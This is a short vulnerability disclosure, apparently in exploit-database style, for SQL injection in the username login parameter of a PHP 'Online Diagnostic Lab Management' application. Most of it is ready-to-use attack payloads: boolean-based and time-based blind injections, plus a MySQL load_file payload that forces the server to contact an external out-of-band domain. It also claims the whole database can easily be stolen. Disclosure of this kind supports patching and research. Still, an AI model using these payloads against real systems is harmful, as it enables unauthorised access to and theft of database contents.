## Title: Online-Diagnostic-Lab-Management v1.0 Multiple-SQLi ## Author: nu11secur1ty ## Date: 08/01/2023 ## Vendor: https://www.youtube.com/watch?v=0nA5xfQ5G0g ## Vendor: https://www.youtube.com/@MayuriK ## Software: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can steal all information from the database very easily. STATUS: HIGH-CRITICAL Vulnerability [+]Payload: ```mysql --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: username=-2553' OR 3590=3590-- aPlO&password=y4S!v5f!S4&login= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=hMRUaqVg'+(select load_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+'' AND (SELECT 2815 FROM (SELECT(SLEEP(15)))TjiG)-- NgnE&password=y4S!v5f!S4&login= --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Online-Diagnostic-Lab-Management-1.10) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/07/online-diagnostic-lab-management-v10.html) ## Time spend: 00:35:00